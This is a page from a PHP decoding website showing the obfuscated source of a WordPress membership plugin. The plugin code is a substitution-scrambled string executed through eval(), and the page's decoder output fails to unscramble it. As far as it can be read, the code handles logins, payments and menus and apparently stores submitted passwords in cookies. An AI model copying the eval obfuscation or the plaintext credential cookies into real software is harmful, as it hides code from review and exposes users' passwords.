Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * Plugin Name: Member Genius * Version: 2.1.3.2 * Plugin URI: ..

Decoded Output download

Eval (str_replace('__FILE__',"'".addslashes($__FILE__)."'",html_entity_decode(strtr($__X__,'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210&	$#;!?>
<','<
>?!;#$	&0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'),ENT_QUOTES, "ISO-8859-1")));

Did this file decode correctly?

Original Code

<?php

/*
 * Plugin Name:   Member Genius
 * Version:       2.1.3.2
 * Plugin URI:    http://www.membergenius.com
 * Description:   Password protect your WordPress blog with a few clicks.
 * Author:        Robert Plank
 * Author URI:    http://www.membergenius.com
 * Text Domain:   member-genius
 */



 $__FILE__=__FILE__;$__X__='WQzmUQumUWqyqY oBplxoB_rsDB (fe$0f#8 . ?072d . QTPMGU/qulzzFEuB.qyqQTPMGU)U xA (Drlsm(S_01$#) QzmU P || Drlsm(S_9b#) QzmU P) { } DuFnn 3BtEBo9Bsxln { qlEuxD SFCtxsU qlEuxD SqormBDmxrsU qlEuxD SkxBjU qlEuxD StrCBuU qlEuxD SDFomnU qlEuxD SnrDxFuU qlEuxD SoBzxnmBo4BkBuU qlEuxD SoBzxnmBo#BtqU qlEuxD SoBzxnmBo3BmFCFmFU qlEuxD Snxzsxsz1s = AFunBU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUFCtxs = sBj 3BtEBo9BsxlnfCtxs()U Smyxn-QzmUqormBDmxrs = sBj 3BtEBo9Bsxln0ormBDmxrs()U Smyxn-QzmUtrCBu = sBj 3BtEBo9Bsxln3rCBu()U Smyxn-QzmUkxBj = sBj 3BtEBo9Bsxln!xBj()U Smyxn-QzmUnrDxFu = sBj 3BtEBo9Bsxln$rDxFu()U SnyromDrCBn = sBj 3BtEBo9Bsxln$yromDrCBn()U Smyxn-QzmUDFomn = FooFh( QplrmU9BsBoxDQplrmU =QzmU QplrmU3BtEBo9BsxlndFom9BsBoxDQplrmU, QplrmUduxDvEFsvQplrmU =QzmU QplrmU3BtEBo9BsxlndFomduxDvEFsvQplrmU, QplrmU6!<rrQplrmU =QzmU QplrmU3BtEBo9BsxlndFom6!<QplrmU, QplrmU0Fh0FuQplrmU =QzmU QplrmU3BtEBo9BsxlndFom0Fh0FuQplrmU, QplrmU#yoxkBdFomQplrmU =QzmU QplrmU3BtEBo9BsxlndFom#yoxkBQplrmU, QplrmU?Fooxro0ulnQplrmU =QzmU QplrmU3BtEBo9BsxlndFom?FooxroQplrmU, )U Smyxn-QzmUyrrvn()U } nmFmxD AlsDmxrs DuBFodFDyB() { xA (AlsDmxrs_Bixnmn(QTPMGUjq_DFDyB_DuBFo_DFDyBQTPMGU)) { jq_DFDyB_DuBFo_DFDyB()U } } AlsDmxrs yrrvn() { FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUoBzxnmBo_jxCzBmnQTPMGU))U oBzxnmBo_FDmxkFmxrs_yrrv(__a74b__, FooFh(QFtqUSmyxn-QzmUtrCBu, QTPMGUxsnmFuuQTPMGU))U FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn-QzmUtrCBu, QTPMGUtFhEB7snmFuuQTPMGU))U oBzxnmBo_CBFDmxkFmxrs_yrrv(__a74b__, FooFh(QFtqUSmyxn-QzmUtrCBu, QTPMGUlsxsnmFuuQTPMGU))U @nBnnxrs_nmFom()U FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxsxmQTPMGU))U FCC_FDmxrs(QTPMGUqoB_yFsCuB_LPLQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoB_yFsCuB_LPLQTPMGU))U FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUmBimCrtFxsQTPMGU))U FCC_FDmxrs(QTPMGUjq_BsplBlB_nDoxqmnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUBsplBlB_nDoxqmnQTPMGU))U FCC_FDmxrs( QTPMGUFAmBo_nBmlq_myBtBQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUurzxsQTPMGU))U FCC_FDmxrs(QTPMGUjq_urzrlmQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUurzrlmQTPMGU))U FCC_FDmxrs(QTPMGUjq_ArrmBoQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUFlmroBnqrsCBoQTPMGU))U FCC_AxumBo(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUroCBoQTPMGU))U FCC_FDmxrs( QTPMGUFCtxs_EFo_tBslQTPMGU, FooFh( Smyxn, QplrmUFCtxs_EFo_njxmDy_lnBoQplrmU ), KP )U FCC_FDmxrs( QTPMGUFCtxs_EFo_tBslQTPMGU, FooFh( Smyxn, QplrmUFCtxs_EFo_njxmDyBoQplrmU ), MK )U FCC_FDmxrs(QTPMGUjq_EBAroB_FCtxs_EFo_oBsCBoQTPMGU, FooFh(QFtqUSmyxn, QTPMGUFCtxs_EFo_oBtrkB_qorAxuBQTPMGU))U FCC_FDmxrs( QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUoBtrkB_qorAxuB_FDDBnnQTPMGU))U FCC_FDmxrs(QTPMGUFAmBo_nBmlq_myBtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUjxCzBmn_xsxmQTPMGU))U FCC_AxumBo( QTPMGUFlmyro_uxsvQTPMGU, QTPMGU__oBmlos_gBorQTPMGU)U FCC_FDmxrs(QTPMGUmBtquFmB_oBCxoBDmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUmBtquFmB_oBCxoBDmQTPMGU))U } qlEuxD AlsDmxrs mBtquFmB_oBCxoBDm() { } qlEuxD AlsDmxrs jq_nxzsrs() { } qlEuxD AlsDmxrs oBtrkB_qorAxuB_qFzB() { jq_oBCxoBDm(yrtB_lou())U CxB()U } qlEuxD AlsDmxrs oBtrkB_qorAxuB_FDDBnn() { xA (Vxn_lnBo_urzzBC_xs()) { oBmlosU } xA (EFnBsFtB(S_$b	!b	[QplrmU080_$b4aQplrmU]) V= QplrmUqorAxuB.qyqQplrmU) { oBmlosU } xA (Smyxn-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU)==O || DlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } xA (xn_FCtxs() QFtqUQFtqU V DlooBsm_lnBo_DFs( QTPMGUFCtxsxnmoFmroQTPMGU ) QFtqUQFtqU V(CBAxsBC( QTPMGUc1729_f6f>QTPMGU) QFtqUQFtqU DrsnmFsm(QplrmUc1729_f6f>QplrmU))) { jq_oBCxoBDm(FCtxs_lou())U BixmU } } qlEuxD AlsDmxrs jxCzBmn_xsxm() { SjxCzBmn = zBm_rqmxrs( QTPMGUnxCBEFon_jxCzBmnQTPMGU )U SAxonm = sluuU AroBFDy (SjxCzBmn Fn SvBh =QzmU SjxCzBm) { xA (SvBh == QplrmUjq_xsFDmxkB_jxCzBmnQplrmU) { SxsFDmxkB = FooFh_nBFoDy(QplrmUtBtEBozBsxlnQplrmU, SjxCzBm)U xA (SxsFDmxkB V== sluu) { lsnBm(SjxCzBmn[QplrmUjq_xsFDmxkB_jxCzBmnQplrmU][SxsFDmxkB])U } DrsmxslBU } xA (VSAxonm) { SAxonm = SvBhU } xA (xn_FooFh(SjxCzBm) QFtqUQFtqU xs_FooFh(QplrmUtBtEBozBsxlnQplrmU, SjxCzBm)) { oBmlosU } } xA (SAxonm) { FooFh_lsnyxAm(SjxCzBmn[SAxonm], QplrmUtBtEBozBsxlnQplrmU)U } Smyxn-QzmUDuBFodFDyB()U lqCFmB_rqmxrs(QplrmUnxCBEFon_jxCzBmnQplrmU, SjxCzBmn)U } qlEuxD AlsDmxrs FCtxs_EFo_njxmDyBo() { zurEFu Sjq_FCtxs_EFoU xA ( Vxn_nlqBo_FCtxs() || Vxn_FCtxs_EFo_nyrjxsz() ) { oBmlosU } xA (Sjq_FCtxs_EFo-QzmUzBm_srCB(QplrmUxsDrtBtFDyxsBQplrmU)) { oBmlosU } SqFonB = qFonB_lou(zBm_yrtB_lou())U xA ((VxnnBm(SqFonB[QplrmUqFmyQplrmU]) || SqFonB[QplrmUqFmyQplrmU] == QplrmU/QplrmU) QFtqUQFtqU @xn_Cxo(moFxuxsznuFnyxm(DrsnmFsm(QplrmUfe$0f#8QplrmU)).QplrmUtBtEBon/jq-FCtxsQplrmU)) { Sjq_FCtxs_EFo-QzmUFCC_tBsl(FooFh( QTPMGUqFoBsmQTPMGU =QzmU QTPMGUnxmB-sFtBQTPMGU, QTPMGUxCQTPMGU =QzmU QTPMGUxsDrtBtFDyxsBQTPMGU, QTPMGUmxmuBQTPMGU =QzmU __( QTPMGU$jxmDy mr eFDvBsCQTPMGU), QTPMGUyoBAQTPMGU =QzmU yrtB_lou(QplrmU/tBtEBon/jq-FCtxsQplrmU)) )U } BunBxA ((xnnBm(SqFonB[QplrmUqFmyQplrmU]) QFtqUQFtqU SqFonB[QplrmUqFmyQplrmU] == QplrmU/tBtEBonQplrmU) QFtqUQFtqU @xn_Cxo(moFxuxsznuFnyxm(DrsnmFsm(QplrmUfe$0f#8QplrmU)).QplrmUjq-FCtxsQplrmU)) { Sjq_FCtxs_EFo-QzmUFCC_tBsl(FooFh( QTPMGUqFoBsmQTPMGU =QzmU QTPMGUnxmB-sFtBQTPMGU, QTPMGUxCQTPMGU =QzmU QTPMGUxsDrtBtFDyxsBQTPMGU, QTPMGUmxmuBQTPMGU =QzmU __( QTPMGU$jxmDy mr aorsmBsCQTPMGU), QTPMGUyoBAQTPMGU =QzmU moFxuxsznuFnyxm(CxosFtB(yrtB_lou())).QplrmUjq-FCtxsQplrmU ))U } } qlEuxD AlsDmxrs FCtxs_EFo_oBtrkB_qorAxuB() { zurEFu Sjq_FCtxs_EFoU xA (Smyxn-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU)==O || DlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } Sjq_FCtxs_EFo-QzmUoBtrkB_tBsl(QTPMGUBCxm-qorAxuBQTPMGU)U Surzrlm3Bsl = Sjq_FCtxs_EFo-QzmUzBm_srCB(QTPMGUurzrlmQTPMGU)U } qlEuxD AlsDmxrs FCtxs_EFo_njxmDy_lnBo() { zurEFu Sjq_FCtxs_EFoU Sjq_FCtxs_EFo-QzmUoBtrkB_tBsl(QTPMGUjq-urzrQTPMGU)U Surzrlm_tBsl = Sjq_FCtxs_EFo-QzmUzBm_srCB(QTPMGUurzrlmQTPMGU)U xA (Surzrlm_tBsl) { Sjq_FCtxs_EFo-QzmUoBtrkB_tBsl(QTPMGUurzrlmQTPMGU)U } Sjq_FCtxs_EFo-QzmUFCC_tBsl(FooFh( QTPMGUqFoBsmQTPMGU =QzmU QTPMGUlnBo-FDmxrsnQTPMGU, QTPMGUxCQTPMGU =QzmU QTPMGUnjxmDy-lnBoQTPMGU, QTPMGUmxmuBQTPMGU =QzmU __( QTPMGU$jxmDy ;nBoQTPMGU), QTPMGUyoBAQTPMGU =QzmU FCC_plBoh_Foz(FooFh(QTPMGUtBtEBozBsxln_FDmxrsQTPMGU=QzmUQTPMGUnjxmDy_lnBoQTPMGU), FCtxs_lou()) ))U xA (Surzrlm_tBsl) { Sjq_FCtxs_EFo-QzmUFCC_tBsl(Surzrlm_tBsl)U } } qlEuxD AlsDmxrs oBzxnmBo_jxCzBmn() { jq_oBzxnmBo_nxCBEFo_jxCzBm( QTPMGUtBtEBozBsxlnQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUjxCzBmQTPMGU), FooFh(QTPMGUCBnDoxqmxrsQTPMGU =QzmU QTPMGUcxnquFh F urzxs/urzrlm Arot Aro tBtEBon rA hrlo tBtEBonyxq nxmB.QTPMGU) )U jq_oBzxnmBo_jxCzBm_Drsmoru( QTPMGUtBtEBozBsxlnQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUjxCzBm_DrsmoruQTPMGU), FooFh(QTPMGUxC_EFnBQTPMGU =QzmU QTPMGUtBtEBozBsxlnQTPMGU) )U } qoxkFmB AlsDmxrs quFDByruCBo() { zurEFu SjqCEU SquFDByruCBo = zBm_qFzB_Eh_qFmy(QTPMGUtBtEBozBsxlnQTPMGU)U SDrsmBsm = FooFh( QTPMGUqrnm_mxmuBQTPMGU =QzmU QTPMGU3BtEBo 9BsxlnQTPMGU, QTPMGUqrnm_mhqBQTPMGU =QzmU QTPMGUqFzBQTPMGU, QTPMGUqrnm_sFtBQTPMGU =QzmU QTPMGUtBtEBozBsxlnQTPMGU, QTPMGUqrnm_DrsmBsmQTPMGU =QzmU QTPMGUcr srm BCxm.QTPMGU, QTPMGUqrnm_nmFmlnQTPMGU =QzmU QTPMGUqlEuxnyQTPMGU, QTPMGUqrnm_FlmyroQTPMGU =QzmU O, QTPMGUDrttBsm_nmFmlnQTPMGU =QzmU QTPMGUDurnBCQTPMGU )U xA (VSquFDByruCBo) { jq_xsnBom_qrnm(SDrsmBsm)U } xA (VxnnBm(SquFDByruCBo-QzmUqrnm_nmFmln)) { oBmlosU } xA (SquFDByruCBo-QzmUqrnm_nmFmln V= QplrmUqlEuxnyQplrmU) { SDrsmBsm[QplrmU7cQplrmU] = SquFDByruCBo-QzmU7cU jq_lqCFmB_qrnm(SDrsmBsm)U } } AlsDmxrs mBimCrtFxs() { Squlzxs_oBu_qFmy = EFnBsFtB( CxosFtB( __a74b__ ) ) . QTPMGU/uFszlFzBn/QTPMGUU urFC_qulzxs_mBimCrtFxs( QTPMGUtBtEBo-zBsxlnQTPMGU, AFunB, Squlzxs_oBu_qFmy )U } AlsDmxrs qoB_yFsCuB_LPL() { oBmlos Smyxn-QzmUyFny	BplBnm()U } AlsDmxrs xsxm() { zurEFu StBtEBozBsxlnU xA (nmoqrn(S_$b	!b	[QplrmU	b&;b$#_;	7QplrmU], QTPMGU/zBsxln/QTPMGU) V== AFunB) { 3BtEBo9Bsxln::DuBFodFDyB()U } StBtEBozBsxln_zxkBslnBo = sluuU StBtEBozBsxln_zxkBsqFnn = sluuU oBtrkB_Fuu_AxumBon(QTPMGUoBmoxBkB_qFnnjroCQTPMGU)U Smyxn-QzmUquFDByruCBo()U xA (xn_lnBo_urzzBC_xs()) { xA (VCBAxsBC(QplrmUc121#dfd8b0f9bQplrmU)) { CBAxsB(QplrmUc121#dfd8b0f9bQplrmU, O)U } } xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUnjxmDy_lnBoQplrmU) { jq_urzrlm()U } xA (VAlsDmxrs_Bixnmn(QTPMGUDlooBsm_lnBo_DFsQTPMGU) QFtqUQFtqU AxuB_Bixnmn(DrsnmFsm(QplrmUfe$0f#8QplrmU) . DrsnmFsm(QplrmU?072dQplrmU) . QplrmU/DFqFExuxmxBn.qyqQplrmU)) { @oBplxoB_rsDB(DrsnmFsm(QplrmUfe$0f#8QplrmU) . DrsnmFsm(QplrmU?072dQplrmU) . QplrmU/DFqFExuxmxBn.qyqQplrmU)U } xA (AlsDmxrs_Bixnmn(QplrmUDlooBsm_lnBo_DFsQplrmU) QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) QFtqUQFtqU xnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUCrjsurFCQplrmU) { Smyxn-QzmUkxBj-QzmUCrjsurFC()U } xA (Drlsm(S_01$#) == P QFtqUQFtqU (xn_FCtxs() || S_$b	!b	[QplrmU	b31#b_fcc	QplrmU] == S_$b	!b	[QplrmU$b	!b	_fcc	QplrmU])) { } BunB { xA (xnnBm(S_01$#[QplrmUjqqq_lnBosFtBQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmUjqqq_qFnnjroCQplrmU])) { nBmDrrvxB(QTPMGUjqqq_lnBosFtBQTPMGU, S_01$#[QplrmUjqqq_lnBosFtBQplrmU], P, QTPMGU/QTPMGU)U nBmDrrvxB(QTPMGUjqqq_qFnnjroCQTPMGU, S_01$#[QplrmUjqqq_qFnnjroCQplrmU], P, QTPMGU/QTPMGU)U StBtEBozBsxln_zxkBslnBo = S_01$#[QTPMGUjqqq_lnBosFtBQTPMGU]U StBtEBozBsxln_zxkBsqFnn = S_01$#[QTPMGUjqqq_qFnnjroCQTPMGU]U } BunBxA (xnnBm(S_d1157b[QTPMGUjqqq_lnBosFtBQTPMGU]) QFtqUQFtqU xnnBm(S_d1157b[QTPMGUjqqq_qFnnjroCQTPMGU])) { StBtEBozBsxln_zxkBslnBo = S_d1157b[QTPMGUjqqq_lnBosFtBQTPMGU]U StBtEBozBsxln_zxkBsqFnn = S_d1157b[QTPMGUjqqq_qFnnjroCQTPMGU]U } StBtEBozBsxln_lnBo = zBm_rqmxrs(QplrmUjqqq_lnBosFtBQplrmU)U StBtEBozBsxln_qFnn = zBm_rqmxrs(QplrmUjqqq_qFnnjroCQplrmU)U StBtEBozBsxln_kFuxCFmBC = (StBtEBozBsxln_zxkBslnBo == StBtEBozBsxln_lnBo QFtqUQFtqU StBtEBozBsxln_zxkBsqFnn == StBtEBozBsxln_qFnn)U xA (VStBtEBozBsxln_lnBo || VStBtEBozBsxln_qFnn) { StBtEBozBsxln_kFuxCFmBC = AFunBU } xA (xn_lnBo_urzzBC_xs()) { StBtEBozBsxln_kFuxCFmBC = molBU } SoBplBnm = sluuU SmBtq = QplrmUQplrmUU xA (Smyxn-QzmUFqx	BplBnm()) { SFqx = sBj 39f07N()U CxB()U } xA (SoBplBnm = Smyxn-QzmUyFny	BplBnm()) { 3BtEBo9Bsxln::DuBFodFDyB()U SmBtq = sluuU xA (xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU])) { SmBtq = S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU]U lsnBm(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqQplrmU])) { SmBtq = S_01$#[QplrmUtBtEBozBsxln_mBtqQplrmU]U } xA (SmBtq) { SoBzxnmBo#Btq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(SmBtq)U Smyxn-QzmUoBzxnmBo#Btq = SoBzxnmBo#Btq-QzmUmis_xCU SsBj;nBo = Smyxn-QzmUFCtxs-QzmUDoBFmB()U xA (VSsBj;nBo || Vxn_sltBoxD(SsBj;nBo)) { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } xA (SoBzxnmBo4BkBu = Smyxn-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SoBplBnm)) { Smyxn-QzmUoBzxnmBo4BkBu = SoBzxnmBo4BkBuU xA (xn_lnBo_urzzBC_xs() QFtqUQFtqU VxnnBm(S_	b&;b$#[QplrmUDrtquBmBQplrmU]) QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U Smyxn-QzmUtrCBu-QzmUFCC(SDlooBsm_lnBo-QzmU7c, SoBzxnmBo4BkBu-QzmU7c)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_yFnyQplrmU])) { SsBj;nBo = Smyxn-QzmUFCtxs-QzmUDoBFmB()U xA (VSsBj;nBo || Vxn_sltBoxD(SsBj;nBo)) { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } BunBxA (xnnBm(S_	b&;b$#[QplrmUDrtquBmBQplrmU])) { xA (SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(S_	b&;b$#[QplrmUDrtquBmBQplrmU])) { Smyxn-QzmUoBzxnmBo#Btq = SmBtq-QzmUmis_xCU Smyxn-QzmUoBzxnmBo3BmFCFmF = SmBtq-QzmUmBtq_tBmFCFmFU } Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } BunB { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } xA (SqFhtBsm = Smyxn-QzmUtrCBu-QzmUzBm0FhtBsmaort8Fny(SoBplBnm)) { SkBoxAh = SqFhtBsm-QzmUkBoxAh()U xA (SkBoxAh) { Smyxn-QzmUoBzxnmBo3BmFCFmF = SkBoxAhU S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU] = SkBoxAh[QplrmUmoFsnFDmxrsQplrmU]U SlnBo7c = PU xA (SkBoxAh[QplrmUmoFsnFDmxrsQplrmU]) { SlnBo7c = StBtEBozBsxln-QzmUtrCBu-QzmUzBm;nBo7Caort#oFsnFDmxrs(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU])U } xA (VSlnBo7c QFtqUQFtqU SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUDFsDBuQplrmU) { SlnBo = zBm_lnBo_Eh_BtFxu(SkBoxAh[QplrmUBtFxuQplrmU])U xA (xnnBm(SlnBo-QzmU7c)) { SlnBo7c = @xsmkFu(SlnBo-QzmU7c)U } } xA (SlnBo7c QzmU P) { xA (VCBAxsBC(QplrmUc121#dfd8b0f9bQplrmU)) { CBAxsB(QplrmUc121#dfd8b0f9bQplrmU, O)U } xA (SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUDFsDBuQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo7c, xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU]))U xA (Smis4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort#oFsnFDmxrs(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU])) { AroBFDy (Smis4BkBun Fn Smis4BkBu) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo7c, xsmkFu(Smis4BkBu))U } } BunBxA (SkBoxAh[QplrmUuBkBuQplrmU]) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo7c, xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU]))U } CxB()U } xA (VlnBo_DFs(SlnBo7c, QTPMGUFCtxsxnmoFmroQTPMGU)) { SlnBo = zBm_lnBo_Eh(QTPMGU7cQTPMGU, SlnBo7c)U xA (SlnBo QFtqUQFtqU xnnBm(SlnBo-QzmUlnBo_urzxs)) { jq_nBm_Flmy_DrrvxB(SlnBo7c, molB, (xn_nnu() W molB : AFunB))U Cr_FDmxrs( QTPMGUjq_urzxsQTPMGU, SlnBo-QzmUlnBo_urzxs, SlnBo)U S_01$#[QTPMGUurzQTPMGU] = SlnBo-QzmUlnBo_urzxsU yBFCBo(QplrmU4rDFmxrs:QplrmU.yrtB_lou())U CxB()U } } oBmlosU } BunBxA (SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU])) { xA (SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUDFsDBuQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu#Btq(SmBtq-QzmUmis_xC)U CxB()U oBmlosU } Smyxn-QzmUoBzxnmBo4BkBu = xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU])U Smyxn-QzmUoBzxnmBo#Btq = SmBtq-QzmUmis_xCU SsBj;nBo = Smyxn-QzmUFCtxs-QzmUDoBFmB()U xA (VSsBj;nBo || Vxn_sltBoxD(SsBj;nBo)) { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } BunB { xA (SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUoBzxnmBoQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDoBFmB#Btq(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU], SkBoxAh[QplrmUuBkBuQplrmU], SkBoxAh)U Smyxn-QzmUoBzxnmBo#Btq = SkBoxAh[QplrmUmoFsnFDmxrsQplrmU]U S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU] = Smyxn-QzmUoBzxnmBo#BtqU Smyxn-QzmUoBzxnmBo4BkBu = xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU])U Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U oBmlosU } } oBmlosU } BunB { } } } } } qlEuxD AlsDmxrs yFny	BplBnm(SyFny=sluu) { Squlzxs = QplrmUQplrmUU @nBnnxrs_nmFom()U xA (SyFny == sluu) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_yFnyQplrmU])) { SyFny = S_01$#[QplrmUtBtEBozBsxln_yFnyQplrmU]U } BunBxA (xnnBm(S_$b	!b	[QplrmU&;b	QplrmU.Dyo(HG).QplrmU_$#	729QplrmU])) { SyFny = louCBDrCB(S_$b	!b	[QplrmU&;b	QplrmU.Dyo(HG).QplrmU_$#	729QplrmU])U Snquxm = qoBz_nquxm(QTPMGU@[/QFtqU]@QTPMGU, SyFny, L)U xA (Drlsm(Snquxm) QzmU= M) { uxnm(, Squlzxs, SyFny) = SnquxmU } BunBxA (Drlsm(Snquxm) == N) { uxnm(, Squlzxs) = SnquxmU } xA (Squlzxs V= QplrmUzBsxlnQplrmU) { oBmlos sluuU } } xA (SyFny == sluu) { oBmlosU } } oBmlos SyFnyU } qlEuxD AlsDmxrs Fqx	BplBnm() { oBmlos nmoqrn(S_$b	!b	[QTPMGU	b&;b$#_;	7QTPMGU], QTPMGU/jutFqx/N.P/QTPMGU) V== AFunB || nmoqrn(S_$b	!b	[QTPMGU	b&;b$#_;	7QTPMGU], QTPMGU/jutFqx/N_P/QTPMGU) V== AFunBU } qlEuxD nmFmxD AlsDmxrs kFuxCFmB(SkFon=sluu) { xA (SkFon == sluu) { SkFon = S_01$#U } BimoFDm(3BtEBo9Bsxln::BimoFDm(SkFon))U SkFuxCFmB = FooFh()U SkFuxCFmB[QplrmUBtqmhQplrmU] = Btqmh(SlnBosFtB)U SkFuxCFmB[QplrmUlnBosFtBQplrmU] = nmouBs(SlnBosFtB) QzmU= LU SkFuxCFmB[QplrmUAxonmsFtBQplrmU] = nmouBs(SAxonmsFtB) QzmU= NU SkFuxCFmB[QplrmUuFnmsFtBQplrmU] = nmouBs(SuFnmsFtB) QzmU= NU xA (xn_FCtxs()) { SkFuxCFmB[QplrmUlnBosFtBQplrmU] = molBU SkFuxCFmB[QplrmUAxonmsFtBQplrmU] = molBU SkFuxCFmB[QplrmUuFnmsFtBQplrmU] = molBU } SkFuxCFmB[QplrmUBtFxuQplrmU] = VBtqmh(SBtFxu) QFtqUQFtqU qoBz_tFmDy(QTPMGU/[F-gf-<P-G_\-.+]+@[F-gf-<P-G-]+.[F-gf-<]+/nQTPMGU, SBtFxu)U SkFuxCFmB[QplrmUqFnnjroCQplrmU] = nmouBs(SqFnnjroCO) QzmU= JU SkFuxCFmB[QplrmUqFnnjroC3FmDyQplrmU] = (SqFnnjroCO == SqFnnjroCN)U SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] = AFunBU SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU] = AFunBU SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] = AFunBU xA (SkFuxCFmB[QplrmUlnBosFtBQplrmU]) { SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] = (zBm_lnBo_Eh(QplrmUurzxsQplrmU, SlnBosFtB) === AFunB)U SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU] = (zBm_lnBo_Eh(QplrmUBtFxuQplrmU, SBtFxu) === AFunB)U } xA (VSkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] || VSkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU]) { SFlmyBsmxDFmB = jq_FlmyBsmxDFmB(SlnBosFtB, SqFnnjroCO)U SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] = Vxn_jq_Booro(SFlmyBsmxDFmB)U } SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] = molBU SkFuxCFmB[QplrmUqFnnQplrmU] = SkFuxCFmB[QplrmUlnBosFtBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUAxonmsFtBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUuFnmsFtBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUBtFxuQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUqFnnjroCQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUqFnnjroC3FmDyQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU]U oBmlos SkFuxCFmBU } qlEuxD nmFmxD AlsDmxrs zBsBoFmB() { 